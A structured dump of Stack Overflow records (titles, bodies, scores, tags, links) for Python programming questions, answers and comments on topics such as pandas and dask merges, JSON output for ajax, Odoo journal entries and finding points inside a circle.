comment on: http://stackoverflow.com/q/49583256
type: Comment
type: QuestionComment
score: 0
has text: Please format your code correctly.

http://stackoverflow.com/q/49551440
accepted answer: http://stackoverflow.com/a/49575743
tagged with: python
has comment: http://stackoverflow.com/comment/86110090
has answer: http://stackoverflow.com/a/49575743
linked to: http://stackoverflow.com/q/15856411
type: AnsweredQuestion
has body: I wrote this function: def get_x_y_co(circles): xc = circles[0] #x-co of circle (center) yc = circles[1] #y-co of circle (center) r = circles[2] #radius of circle arr=[] for i in range(360): y = yc + r*math.cos(i) x = xc+ r*math.cos(i) x=int(x) y=int(y) #Create array with all the x-co and y-co of the circle arr.append([x,y]) return arr With 'circles' being an array with [X-center, Y-center, Radius] I would like to extract all the points with integer resolution present in the circle. Right now, I realised I am creating an array of points who are on the BORDER of the circle, but I don't have access to the points INSIDE the circle. I thought of just reducing the radius, and iterate this for all values of the radius, until the radius is 0 But I feel there is a much more efficient way. Any help is welcome
has comment: http://stackoverflow.com/comment/86110228
downvote count: 0
tagged with: center
answer count: 1
has comment: http://stackoverflow.com/comment/86110316
has comment: http://stackoverflow.com/comment/86110089
has comment: http://stackoverflow.com/comment/86110038
favorite count: 0
score: 9
type: Question
tagged with: geometry
has comment: http://stackoverflow.com/comment/133490526
has comment: http://stackoverflow.com/comment/86110102
upvote count: 9
has title: Python all points on circle given radius and center
has comment: http://stackoverflow.com/comment/86110135

http://stackoverflow.com/q/49460972
duplicate of: http://stackoverflow.com/q/34835951
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85924862
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49461033
tagged with: python
has title: Python - How does the FOR loop work in python
has body: I have the following code in Python and I am an unsure about how the for loop here is working. cur.execute("SELECT CUST_ID, COMPANY, LASTNAME, CITY, STATE FROM mytable") colnames = [desc[0] for desc in cur.description] How does this for work ? [desc[0] for desc in cur.description] What is desc[0]?
score: 0
answer count: 3
linked to: http://stackoverflow.com/q/34835951
has answer: http://stackoverflow.com/a/49460993
upvote count: 1
has answer: http://stackoverflow.com/a/49461022
has comment: http://stackoverflow.com/comment/85924914
downvote count: 1

http://stackoverflow.com/a/49504632
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/49504271
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49504271
type: Answer
downvote count: 0
has body: Why not code your algorithm to create a list of clusters ranging from size 1 to n (which could be defined in a config file so that you can avoid hard coding and just fix it once). Once that is done, compute the clusters of size 1 to n. Choose the value which gives you the smallest Mean Square Error. This would require some additional work by your machine to determine the optimal number of logical groups the data can be divided (bounded between 1 and n).

http://stackoverflow.com/q/49587210
has comment: http://stackoverflow.com/comment/86184083
upvote count: 1
tagged with: python
tagged with: comparison
has comment: http://stackoverflow.com/comment/86184308
accepted answer: http://stackoverflow.com/a/49587823
has comment: http://stackoverflow.com/comment/86184619
has title: Find the similar columns in two files
type: AnsweredQuestion
answer count: 3
has comment: http://stackoverflow.com/comment/86182363
has comment: http://stackoverflow.com/comment/86183973
has comment: http://stackoverflow.com/comment/86184398
linked to: http://stackoverflow.com/q/4170656
score: 1
has comment: http://stackoverflow.com/comment/86184360
downvote count: 0
has body: I am using python and I want to write a code, which will compare only two first columns (0:1) and if the other file has the same values in the column 0 and 1, then the line should be merged and written into one new file. for example: Or example with persons: the code which I have now is this, but it is not good f1 = open('f1.txt','r') f2 = open('f2.txt','r') f3 = open('f12.txt','w') f1_readlines = f1.readlines() f1_linenum = len(f1_readlines) f2_readlines = f2.readlines() f2_linenum = len(f2_readlines) i=0 while(i&lt;f1_linenum): j=0 while(j&lt;f2_linenum): if(f1_readlines[0:1] == f2_readlines[0:1]): print(f1_readlines[i]) f12.write(f1_readlines[i]) j = j + 1 i = i + 1 f1.close() f2.close() f12.close()
has answer: http://stackoverflow.com/a/49589127
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86184037
has answer: http://stackoverflow.com/a/49587823
possible better answer: http://stackoverflow.com/a/49587301
has comment: http://stackoverflow.com/comment/86182476
has answer: http://stackoverflow.com/a/49587301

http://stackoverflow.com/comment/85925778
comment on: http://stackoverflow.com/a/49461427
score: 0
type: Comment
type: AnswerComment
has text: @MarioSorial, What? I don't understand.

http://stackoverflow.com/a/49486729
type: AcceptedAnswer
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/49486674
has body: There is problem with duplicates in HPI column. There is possible create MultiIndex by set_index with concat: merge1 = pd.concat([df1.set_index('HPI', append=True), df2.set_index('HPI', append=True)], axis=1).reset_index(level=1) print (merge1) HPI Int_rate US_GDP_Thousands Low_tier_HPI Unemployment 2001 80 2 50 50 7 2002 85 3 55 52 8 2003 88 2 65 50 9 2004 85 2 55 53 6 Or reset_index for column from index and merge by 2 columns: merge1 = pd.merge(df1.reset_index(),df2.reset_index(),on=['index','HPI']) print (merge1) index HPI Int_rate US_GDP_Thousands Low_tier_HPI Unemployment 0 2001 80 2 50 50 7 1 2002 85 3 55 52 8 2 2003 88 2 65 50 9 3 2004 85 2 55 53 6 Last solution if is possible index values are duplicated too: df1 = df1.assign(new=df1.groupby('HPI').cumcount()) df2 = df2.assign(new=df2.groupby('HPI').cumcount()) merge1 = pd.merge(df1,df2,on=['new','HPI']).drop('new',axis=1) print (merge1) HPI Int_rate US_GDP_Thousands Low_tier_HPI Unemployment 0 80 2 50 50 7 1 85 3 55 52 8 2 88 2 65 50 9 3 85 2 55 53 6
type: Answer
accepted answer of: http://stackoverflow.com/q/49486674
score: 1

http://stackoverflow.com/q/49515142
has title: Python - Creating JSON array? and passing to ajax
accepted answer: http://stackoverflow.com/a/49515323
has answer: http://stackoverflow.com/a/49515658
tagged with: http://stackoverflow.com/tag/json
tagged with: python
has answer: http://stackoverflow.com/a/49515323
tagged with: parsing
score: 4
upvote count: 4
answer count: 2
tagged with: arrays
downvote count: 0
favorite count: 0
type: Question
tagged with: ajax
type: AnsweredQuestion
has body: in my python server-side script i have the following .... data = {} data['id'] = id data['organizer'] = organizer data['eventStart'] = eventStartLocal data['eventEnd'] = eventEndLocal data['subject'] = subject data['attendees'] = attendees # Serializing Data json_data = json.dumps(data) id += 1 print(json_data) #this is what the script returns In my front-end using jquery/javascript i have this.. $.ajax({ type: 'REQUEST', dataType: 'text', url: 'json.py', success: function(data){ console.log(data); obj = JSON.parse(data); }, }).done(function(){ console.log(obj) }) }); my output is: {"id": 0, "organizer": "Some Name", "eventStart": "09:30 AM", "eventEnd": "10:00 AM", "subject": "rental procedure", "attendees": "Some Name&lt;br /&gt;Person 2&lt;br /&gt;Person 3"} {"id": 1, "organizer": "Some Name", "eventStart": "09:30 AM", "eventEnd": "10:00 AM", "subject": "rental procedure", "attendees": "Some Name&lt;br /&gt;Person 2&lt;br /&gt;Person 3"} {"id": 2, "organizer": "Some Name", "eventStart": "09:30 AM", "eventEnd": "10:00 AM", "subject": "rental procedure", "attendees": "Some Name&lt;br /&gt;Person 2&lt;br /&gt;Person 3"} My issue When i try to parse the json in javascript, i get an error code about Unexpected token { in JSON at position After doing some research, i found that i would have to send a json array as a response and not print a jsoned line for each event, otherwise my javascript wont be able to parse it and put it in an object. My Goal To get data from server and pass it to javascript as an object so that i can loop through that object and create an HTML element for each event. I'm new to this JSON stuff, somehow i need to do the following, but i don't seem to know how to create a json array (that has the [ ] and the , at the end of each json/line. [ {"id": 0, "organizer": "Some Name", "eventStart": "09:30 AM", "eventEnd": "10:00 AM", "subject": "rental procedure", "attendees": "Some Name&lt;br /&gt;Person 2&lt;br /&gt;Person 3"}, {"id": 1, "organizer": "S…
possible better answer: http://stackoverflow.com/a/49515658

http://stackoverflow.com/a/49535345
has body: I would suggest taking a look at the Youtube API and the Requests library. Requests makes it simple to pull data from API's and Youtube's is well documented. I cannot tell you how to integrate the image directly with TKinter, but once you have the thumbnail from the query it should be trivial.
score: 1
downvote count: 0
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/49534876

http://stackoverflow.com/q/49525530
has answer: http://stackoverflow.com/a/49546529
accepted answer: http://stackoverflow.com/a/49546529
tagged with: python
score: 2
type: AnsweredQuestion
tagged with: deep-learning
answer count: 1
downvote count: 0
tagged with: tensorflow
favorite count: 0
tagged with: image-generation
type: Question
has title: GAN Training: Cannot calculate inception score because of Tensor.set_shape error
upvote count: 2
has body: I need to calculate the inception score for generated images in my trained GAN. I'm referring to the code in this OpenAI repository. However, I am getting an error near the end of _init_inception function. The error is ValueError: Tensor._shape cannot be assigned, use Tensor.set_shape instead. So I got around this by using Tensor.set_shape, as suggested. But now, I'm getting a different error which is, TypeError: set_shape() missing 1 required positional argument: 'shape', even though I am passing in new_shape as a variable. It turns out that new_shape remains to be an empty list for some reason, and it is not accepted by Tensor.set_shape. What is the correct way to get around this problem to get my inception score? For your convenience, the full code is provided below. from __future__ import absolute_import from __future__ import division from __future__ import print_function import os.path import sys import tarfile import numpy as np from six.moves import urllib import tensorflow as tf import glob import scipy.misc import math import sys MODEL_DIR = '/tmp/imagenet' DATA_URL = 'http://download.tensorflow.org/models/image/imagenet/inception-2015-12-05.tgz' softmax = None # Call this function with list of images. Each of elements should be a # numpy array with values ranging from 0 to 255. def get_inception_score(images, splits=10): assert(type(images) == list) assert(type(images[0]) == np.ndarray) assert(len(images[0].shape) == 3) assert(np.max(images[0]) &gt; 10) assert(np.min(images[0]) &gt;= 0.0) inps = [] for img in images: img = img.astype(np.float32) inps.append(np.expand_dims(img, 0)) bs = 100 with tf.Session() as sess: preds = [] n_batches = int(math.ceil(float(len(inps)) / float(bs))) for i in range(n_batches): sys.stdout.write(".") sys.stdout.flush() inp = inps[(i * bs):min((i + 1) * bs, len(inps))] inp = np.concatenate(inp, 0) pred = sess.run(softmax, {'ExpandDims:0': inp}) preds.append(pred) preds = np.concatenate(preds, 0) scores = [] for i in range(spl…

http://stackoverflow.com/comment/86092728
comment on: http://stackoverflow.com/q/49542465
type: QuestionComment
type: Comment
score: 0
has text: @Daniel, I have added the code for both.

http://stackoverflow.com/comment/85951132
type: QuestionComment
comment on: http://stackoverflow.com/q/49474288
has text: I'm guessing that the OP has some friends here that keep up voting the question. That doesn't make in on-topic though.
score: 0
type: Comment

http://stackoverflow.com/a/50499360
has body: If your data is really periodic and you don't have gaps in your time series, then pandas can infer the frequency. If the inferred frequency looks correct to you, you can use it by follow the answer at Set pandas.tseries.index.DatetimeIndex.freq with inferred_freq For example train.index = pd.DatetimeIndex(train.index.values, freq=train.index.inferred_freq) fit1 = sm.tsa.statespace.SARIMAX(...) But note that this can still give a DatetimeIndex whose frequency is None if your data is not truly periodic. For example, if you have daily data and one day is missing, then the inferred_freq will be None and attempting to pass freq="D" will raise a ValueError exception. In this case, try building your DataFrame so that all dates are present and the values in the column(s) you're forecasting are None on those dates. Then you can use missing="drop" (or whatever) with your ARIMA model.
answers question: http://stackoverflow.com/q/49547245
type: Answer
has comment: http://stackoverflow.com/comment/98298822
score: 20
upvote count: 20
downvote count: 0

http://stackoverflow.com/q/49453807
has body: would appreciate if you guys can help with a function that takes in a pandas df, a function name, input columns needed and argument/kwargs import talib The df is of the form: Open High Low Close Volume Date 1993-01-29 43.970001 43.970001 43.750000 43.939999 1003200 1993-02-01 43.970001 44.250000 43.970001 44.250000 480500 1993-02-02 44.220001 44.380001 44.130001 44.340000 201300 This following code is ok: def ApplyIndicator(df, data_col, indicator_func,period): df_copy = df.copy() col_name = indicator_func.__name__ df_copy[col_name]=df_copy[data_col].apply(lambda x:indicator_func(x,period)) return df_copy Sample: new_df = ApplyIndicator(df,['Close'],talib.SMA,10) However, if I want a general ApplyIndicator which could take different columns, for example, talib.STOCH, it takes more than 1 arguments and need different columns: slowk, slowd = STOCH(input_arrays, 5, 3, 0, 3, 0, prices=['high', 'low', 'open']) For this case, how can I do a general ApplyIndicator function that do it on general talib function assuming all required columns are in df already. Thank you. More details on the two functions: SMA(real[, timeperiod=?]) and STOCH(high, low, close[, fastk_period=?, slowk_period=?, slowk_matype=?, slowd_period=?, slowd_matype=?])
tagged with: dataframe
tagged with: python
has comment: http://stackoverflow.com/comment/85913013
has title: Applying different functions and their arguments using a general functions (Ta-Lib in particular)
tagged with: ta-lib
score: 0
tagged with: pandas
answer count: 1
has comment: http://stackoverflow.com/comment/85911924
type: Question
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49455699

http://stackoverflow.com/a/49455927
answers question: http://stackoverflow.com/q/49455926
type: Answer
downvote count: 1
has body: Turns out my wheel package was out of date (v0.22 isn't new enough). A quick pip install --upgrade wheel and it built happily. Before I figured that out, though, I'd spent a fruitless half hour upgrading pip and setuptools and python-distutils-extra.
score: 2
upvote count: 3

http://stackoverflow.com/comment/85954575
has text: You'll want to provide the full code which triggers memory problems. As Aran-Fey said, with the current code sample you shouldn't have any issues as long as you don't do something silly.
score: 0
comment on: http://stackoverflow.com/q/49475586
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86195644
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49593894
has text: @magnetrtk have you tried my edited answer? I'm quite confident in that's what your problem was.
type: Comment

http://stackoverflow.com/q/49456206
has body: I want to create journal entry if state == 'open', but when I try that I have this issue, could you help me please? This code is working in version 8 but it is not in version 11. def create_journal_entry(self): move_pool = self.env['account.move'] move_line_pool = self.env['account.move.line'] name = "Advance payment: %s"%(self.employee_id.name) debit_account_id = self.debit_id.id credit_account_id = self.payment_method.id #MOVE CREATE move_data = { 'journal_id': self.payment_method.id, 'ref': name, 'company_id': self.company_id.id,} move_id = move_pool.create(move_data) #DEBIT LINE CREATE debit_line = { 'move_id': move_id.id, 'name': name, 'partner_id': self.employee_id.address_home_id and \ self.employee_id.address_home_id.id or False, 'account_id': debit_account_id, 'debit': self.need_amount, 'credit': 0.0} debit_line_id = move_line_pool.create(debit_line) #CREDIT LINE CREATE credit_line = { 'move_id': move_id.id, 'name': name, 'partner_id': self.employee_id.address_home_id and \ self.employee_id.address_home_id.id or False, 'account_id': credit_account_id, 'debit': 0.0, 'credit': self.need_amount} credit_line_id = move_line_pool.create(credit_line) return move_id
answer count: 1
type: Question
accepted answer: http://stackoverflow.com/a/54623866
tagged with: python
has answer: http://stackoverflow.com/a/54623866
type: AnsweredQuestion
score: 0
has title: odoo 11 can't create unbalance journal entry
tagged with: odoo

http://stackoverflow.com/q/49440478
has answer: http://stackoverflow.com/a/49440879
tagged with: python
has comment: http://stackoverflow.com/comment/85883076
has comment: http://stackoverflow.com/comment/85883068
type: Question
has body: Here is the problem I am solving. The number 23 is unique in the sense that all of its digits are prime numbers. Furthermore, it's a prime itself. There are 4 such numbers between 10 and 100: 23, 37, 53, 73. Let's call these numbers "total primes". Complete the function that takes a range [a, b) and returns the number of total primes within that range (a &lt;= primes &lt; b). The test ranges go up to 10^7. Examples: (10, 100) ==> 4 # [23, 37, 53, 73] (500, 600) ==> 3 # [523, 557, 577] I try to solve as this (it returns the correct number for sample tests): def isPrime(n): if n &lt; 2: return False for x in range(2, int(n**0.5) + 1): if n % x == 0: return False return True def itsDigits(n): for i in set(str(n)): if not isPrime(int(i)): return False return True def get_total_primes(a, b): count=0 for i in range(a,b): if(isPrime(i) and itsDigits(i)): count+=1 return count But Codewars gives me the error: Process was terminated. It took longer than 12000ms to complete Our servers are configured to only allow a certain amount of time for your code to execute. In rare cases the server may be taking on too much work and simply wasn't able to run your code efficiently enough. Most of the time though this issue is caused by inefficient algorithms. If you see this error multiple times you should try to optimize your code further. Can you please help me optimize my code?
score: 0
has comment: http://stackoverflow.com/comment/85883012
upvote count: 1
type: UnansweredQuestion
answer count: 1
downvote count: 1
tagged with: primes
favorite count: 0
tagged with: optimization
has title: Find Total Primes in Python (Process was terminated Error)
tagged with: numbers
tagged with: algorithm

http://stackoverflow.com/comment/129362913
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49451940
has text: @ImportanceOfBeingErnest For me when I put `init_func=plt.cla` then I am seeing the effect only on the first frame of the whole animation (includig the repeats).

http://stackoverflow.com/comment/86086970
has text: I'm somewhat confused now by what you say. I know that using `exec` in Python 2 made it fall back to "slow" locals, which isn't the case anymore in Python 3. But how is the `locals()` function different in Python 2 and 3? I looked up the documentation, and it has stayed word for word the same since Python 2.7, and I can't detect any difference in behaviour.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/49538854

http://stackoverflow.com/a/49592575
has comment: http://stackoverflow.com/comment/86193257
downvote count: 0
score: 1
upvote count: 1
has body: Well, at some level, you can just think of the OS as a higher level program that hands off control to the user's program for a while (the reality is more complicated with fork and many processes running in parallel, but you can probably ignore that). When the program ends, control goes back to the OS, just like control goes back to the main flow after a function ends in a program. So maybe you should just have a "warp portal" at the end of the program, and describe how it warps you back to the control flow of an OS program (such as a command prompt). I have one suggestion about some of your imagery, that's unrelated to your current question. It might be easier to depict some control structures like else branches if you use forks and merges in the control-flow "road", rather than always using warp portals that take you back to the main path. The portals absolutely are useful, but I'd limit them to things like calling and returning from functions. An if (and elif/else) is just a fork in the road. The two (or more) branches can recombine after a while, so you might have something like this, if you'll forgive my terrible ASCII art: --&gt; if block --&gt; / \ --&gt; if -&gt; else block -&gt; regular control flow resumes -&gt; A while loop is very similar, it just has the flow of its block running the other direction, so you merge before the branch split off: &lt;- while block &lt;- / \ | ^ v | \ / ---&gt; while condition -&gt; regular control flow resumes -&gt;
has comment: http://stackoverflow.com/comment/86197022
type: Answer
answers question: http://stackoverflow.com/q/49592193
has comment: http://stackoverflow.com/comment/86192990

http://stackoverflow.com/comment/86408657
type: AnswerComment
has text: The reason I am trying to inherit from an abstract class inheriting from ABC is to use isinstance in a function that takes as an argument an object and if that returns true then do additional processing by calling methods defined in the abstract class. If I do not inherit from ABC, Python will not enforce my need to make sure the inherited class implements all the attributes of the abstract class, and if I have missed some in an implementation, then I will get a run-time exception. I would rather get a build exception. That is what ABC gives me. Is this not a good reason to use ABC?
score: 0
comment on: http://stackoverflow.com/a/49668970
type: Comment

http://stackoverflow.com/a/49490684
downvote count: 0
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/85992991
has body: With your original code, for each element of the input list, you create a new list (res) that contains each element that is equal to its double (which works only with the zero value ), then you append to your output list. So it does not work at all. I may suggest you this solution, without any additional package and easily readable: l = [2,4,4,3,9,9,1] results = [] for i in set(l): if l.count(i) &gt; 1: results.append([i]*l.count(i)) print(results) I also add the one-line style solution: l = [2,4,4,3,9,9,1] results = [[i]*l.count(i) for i in set(l) if l.count(i) &gt; 1] print(results)
upvote count: 1
has comment: http://stackoverflow.com/comment/85984607
answers question: http://stackoverflow.com/q/49490389

http://stackoverflow.com/a/49533688
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49533573
answers question: http://stackoverflow.com/q/49533573
type: Answer
has comment: http://stackoverflow.com/comment/86073793
upvote count: 2
score: 2
has body: I can't see where you're closing the file after opening it. Writes to files are buffered, so that can be a reason. A more proper way would be to use the with statement to close the file properly when you're done writing: with open('writefile.txt', 'w+') as f1: for w in content: if not binS(0,len(words),w): f1.write(w) In other news: try using a set to store words, so that you do efficient lookups: if w not in words: ... try rewriting the loop using f1.writelines and a generator expression

http://stackoverflow.com/a/49595581
upvote count: 1
has body: The idiomatic way too loop over every positionally unique pair in a list is to start from i + 1 in the inner loop: In [4]: data = 'abc' In [5]: [(data[i], data[j]) for i in range(len(data)) for j in range(i+1, len(data))] Out[5]: [('a', 'b'), ('a', 'c'), ('b', 'c')] In [6]: data = 'abcd' In [7]: [(data[i], data[j]) for i in range(len(data)) for j in range(i+1, len(data))] Out[7]: [('a', 'b'), ('a', 'c'), ('a', 'd'), ('b', 'c'), ('b', 'd'), ('c', 'd')] It's a simple and effective algorithm when working with sequence types. Also note, math has a handy hypot function, which is simply the euclidean norm. So you could implement this simply as: In [8]: ps = list(zip( ...: [4, -2, -3, -1, 2, -4, 1, -1, 3, -4, -2], ...: [4, -2, -4, 3, 3, 0, 1, -1, -1, 2, 4] ...: )) In [9]: import math ...: def dis(p1, p2): ...: (x0, y0), (x1, y1) = p1, p2 ...: return math.hypot(x1 - x0, y1 - y0) ...: In [10]: min(dis(ps[i], ps[j]) for i in range(len(ps)) for j in range(i + 1, len(ps))) Out[10]: 1.4142135623730951 Note, assigning the result of a lambda expression to a name is explicitely against PEP8. For that matter, you should be using snake_case instead of CapitalCase for your function names.
type: Answer
score: 1
answers question: http://stackoverflow.com/q/49595435
downvote count: 0
has comment: http://stackoverflow.com/comment/86198509

http://stackoverflow.com/comment/86182683
score: 0
comment on: http://stackoverflow.com/a/49587455
type: Comment
type: AnswerComment
has text: `sum(len(v) for v in newdict.values())` should do it

http://stackoverflow.com/comment/85934933
type: AnswerComment
has text: @SharvariGc I agree, it's better :)
type: Comment
comment on: http://stackoverflow.com/a/49452534
score: 0

http://stackoverflow.com/comment/85992828
has text: The tree containing `:` doesn’t mean you don’t want an XML parser, it means using an XML parser is even _more_ important. But you need to tell your parser to process the namespace, or manually process it in your head and write explicitly-namespaced queries. Show us a [mcve] that demonstrates which parser you tried to use and how you tried to use it and what “does not work” actually means, and we can explain how to fix your code.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49494444

http://stackoverflow.com/comment/86149176
type: Comment
comment on: http://stackoverflow.com/a/49546458
type: AnswerComment
has text: Thanks for the hint. I started from the above example. Removed it :)
score: 1

http://stackoverflow.com/comment/85907102
score: 1
comment on: http://stackoverflow.com/q/49452063
type: Comment
type: QuestionComment
has text: Is the file sorted by date?

http://stackoverflow.com/q/49514168
has title: iterating through a column in dataframe and creating a list with name of the column + str
score: -3
tagged with: python
has comment: http://stackoverflow.com/comment/86033414
tagged with: pandas
upvote count: 0
has answer: http://stackoverflow.com/a/49514548
answer count: 1
downvote count: 3
favorite count: 0
type: Question
has body: I have a dataframe with 2 coulmn, i want to iterate through the column headers, use that value and add a string to it and use it as the name of a list. rr resampled=pd.DataFrame() resampled['RAT']=dd1['RAT'] resampled['SAT']=dd1['SAT'] rr=resampled-resampled.shift(1) for ind, column in enumerate(rr.columns): name=column+'stuck' name=[] print(name) I want to get 2 list with names RATstuck SATstuck THank you!
has comment: http://stackoverflow.com/comment/86033470
type: UnansweredQuestion

http://stackoverflow.com/comment/85925008
type: AnswerComment
comment on: http://stackoverflow.com/a/49461006
type: Comment
has text: Then you do not need to change anything. It leaves the NaN intact. I will update my answer to show outputs.
score: 0

http://stackoverflow.com/comment/85992576
type: Comment
type: QuestionComment
score: 0
has text: It was as easy as that! Thanks so much for calling that out
comment on: http://stackoverflow.com/q/49491294

http://stackoverflow.com/q/49483721
answer count: 2
has body: Here is a supposed solution I have found. https://stackoverflow.com/a/2180417 I am trying to implement it but I am not able to do so. Here is my current code: utils.py from io import BytesIO from django.http import HttpResponse from django.template.loader import get_template from xhtml2pdf import pisa def render_to_pdf(template_src, context_dict={}): template = get_template(template_src) html = template.render(context_dict) result = BytesIO() pdf = pisa.pisaDocument(BytesIO(html.encode("ISO-8859-1")), result, link_callback=fetch_resources) if not pdf.err: return HttpResponse(result.getvalue(), content_type='application/pdf') return None def fetch_resources(uri, rel): path = os.path.join(settings.MEDIA_ROOT, uri.replace(settings.MEDIA_URL, "")) return path views.py from django.http import HttpResponse from django.views.generic import View from yourproject.utils import render_to_pdf #created in step 4 class GeneratePdf(View): def get(self, request, *args, **kwargs): data = { 'today': datetime.date.today(), 'amount': 39.99, 'customer_name': 'Cooper Mann', 'order_id': 1233434, } pdf = render_to_pdf('pdf/invoice.html', data) return HttpResponse(pdf, content_type='application/pdf') Everything loads correctly if I just render a normal template so I know the problem is with this part of the process. The invoice.html template includes a url such as /home/images/products/1231 &lt;img src='{{ photo.url }}'&gt;
downvote count: 0
tagged with: django
possible better answer: http://stackoverflow.com/a/49484108
favorite count: 0
type: Question
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/49490405
score: 5
linked to: http://stackoverflow.com/q/2179958
has answer: http://stackoverflow.com/a/49490405
tagged with: xhtml2pdf
upvote count: 5
has title: Cant get images to convert to pdf using xhtml2pdf (url of file returning errror)
tagged with: python
type: AnsweredQuestion
tagged with: python-2.7
has answer: http://stackoverflow.com/a/49484108

http://stackoverflow.com/comment/86049027
comment on: http://stackoverflow.com/q/49521321
has text: @e.s. No, not all are strings. Some might be object names. I suppose a string could have braces.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/49526242
type: Answer
answers question: http://stackoverflow.com/q/49511817
score: 0
has body: Because of your short eexample, I can't give aa single correct solution. But I have some ideas. My first idea is that you might have loaded self.image in a loop, which I doubt you did. If you ddd, simply move the loading of your image to the __init__() function of your class. My second idea is that you define or assign your self.rotate variable to 0 in a loop, making it impossible to spin. However, if you were to load the image outside of a loop, there is not much I can offer. I believe your given code is correct, but I can give you another way to do it. class Thing: def __init__(self, location, image, rotate=0): self.image = image # has to be alreedy loaded and converted self.rotate = rotate # in case the instance wants a certain rotation when first drawn. self.loc = ocation self.rotated_image = pygame.transform.rotate(self.image, self.rotate) def spin_and_draw(self): rotate += 10 self.rotated_image = pygame.tranform.rotate(self.image, self.rotate) screen.blit(self.rotated_image, (self.loc[0], self.loc[1])) What I did was instead of assigningself.image_type to image and rotating self.image_type and then giving the results of thenrotation to self.image, I keptthe original image and then created a rotated image of it in another variable.

http://stackoverflow.com/q/49567752
tagged with: scheduled-tasks
type: Question
upvote count: 0
has comment: http://stackoverflow.com/comment/123707373
tagged with: automation
type: UnansweredQuestion
tagged with: python
has body: Created a Python script that gets data from SQL Server, then writes the data to an Excel spreadsheet using Pandas and xlsxwriter. Then, the same script uses the win32 client library to send the newly created file via email from my Outlook address to certain recipients. Now, since I need this to be fully automated, I attempted to have Windows Task Scheduler try to do this at a scheduled time. It creates the Excel sheet properly, but it fails to send the email. Oddly enough, if I run the Python script through a Python IDE, the entire process executes successfully without issue. I have verified that the email was sent and that I received it. The email neither sends nor do I receive it when using WTS. Are there any work-arounds for this? Should I use a 3rd party task scheduler instead?
has title: Python script not properly executing using Windows Task Scheduler
favorite count: 0
has answer: http://stackoverflow.com/a/49575617
has comment: http://stackoverflow.com/comment/86143961
tagged with: windows
answer count: 1
downvote count: 1
tagged with: taskscheduler
score: -1

http://stackoverflow.com/q/49533181
has body: my code at the minute has 2 lists Exercise and Weight. These both contain the contents of generated entry boxes. When the lists are being saved to the database I need to make sure that no empty boxes are submitted, to solve this I am writing a validation algorithm to check if any of the boxes are empty, this is the code so far: for item in Exercise: if item == '': self.CreateError.configure(fg = "red") connection.commit() for item in Weight: if item == '': self.CreateError.configure(fg = "red") connection.commit() else: values = zip(Exercise, Weight, ID) cursor.executemany("INSERT INTO Exercises(Exercise, Weight, ID) VALUES(?, ?, ?)", values) connection.commit() My problem is that I have two for loops which both have the same else. However I do not know how to create this so the else is activated if either of both of the items in the list are empty.
has answer: http://stackoverflow.com/a/49533384
tagged with: python
has title: Python Mulitple For loops with common else
type: AnsweredQuestion
score: 0
tagged with: list
answer count: 3
tagged with: if-statement
has comment: http://stackoverflow.com/comment/86072813
possible better answer: http://stackoverflow.com/a/49533378
has answer: http://stackoverflow.com/a/49533378
accepted answer: http://stackoverflow.com/a/49533410
type: Question
has answer: http://stackoverflow.com/a/49533410
tagged with: for-loop
has comment: http://stackoverflow.com/comment/86072703

http://stackoverflow.com/q/49485426
has title: Left merging dask dataframes results to empty dataframe
has comment: http://stackoverflow.com/comment/85998764
upvote count: 3
score: 3
has answer: http://stackoverflow.com/a/49498191
downvote count: 0
has comment: http://stackoverflow.com/comment/86001217
has comment: http://stackoverflow.com/comment/85995445
has comment: http://stackoverflow.com/comment/86001556
has comment: http://stackoverflow.com/comment/85988593
answer count: 1
tagged with: dataframe
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86001265
tagged with: dask
has comment: http://stackoverflow.com/comment/86002079
type: UnansweredQuestion
has body: I have the following code: raw_data = pd.DataFrame({'username':list('ab')*10, 'user_agent': list('cdef')*5, 'method':['POST'] * 20, 'dst_port':[80]*20, 'dst':['1.1.1.1']*20}) past = pd.DataFrame({'user_agent':list('cde'), 'percent':[0.3, 0.3, 0.4]}) past = past.set_index('user_agent') import dask.dataframe as dd dask_raw = dd.from_pandas(raw_data, npartitions=4) dask_past = dd.from_pandas(past, npartitions=4) merged_raw = dask_raw.merge(dask_past, how='left', left_on='user_agent', right_index=True) Compute on merged_raw gives me the dataframe of this form: Out[20]: dst dst_port method user_agent username percent 12 1.1.1.1 80 POST c a 0.3 16 1.1.1.1 80 POST c a 0.3 8 1.1.1.1 80 POST c a 0.3 0 1.1.1.1 80 POST c a 0.3 4 1.1.1.1 80 POST c a 0.3 10 1.1.1.1 80 POST e a 0.4 11 1.1.1.1 80 POST f b NaN 13 1.1.1.1 80 POST d b 0.3 14 1.1.1.1 80 POST e a 0.4 15 1.1.1.1 80 POST f b NaN 17 1.1.1.1 80 POST d b 0.3 18 1.1.1.1 80 POST e a 0.4 19 1.1.1.1 80 POST f b NaN 5 1.1.1.1 80 POST d b 0.3 6 1.1.1.1 80 POST e a 0.4 7 1.1.1.1 80 POST f b NaN 9 1.1.1.1 80 POST d b 0.3 1 1.1.1.1 80 POST d b 0.3 2 1.1.1.1 80 POST e a 0.4 3 1.1.1.1 80 POST f b NaN Computing the features: grouped_by_df = merged_raw.groupby(['username', 'dst', 'dst_port']) feature_one = grouped_by_df.apply(lambda x: 'POST' in x.values).to_frame(name='feature_one') feature_two = grouped_by_df.percent.min() feature_two = feature_two.fillna(0) feature_two = feature_two.to_frame(name='feature_two') features_three = grouped_by_df.method.apply(lambda x: 'CONNECT' in x.values).to_frame(name='feature_three') features = feature_one.merge(feature_two, left_index=True, right_index=True, how='left') features.compute() feature_one feature_two username dst dst_port a 1.1.1.1 80 True 0.3 b 1.1.1.1 80 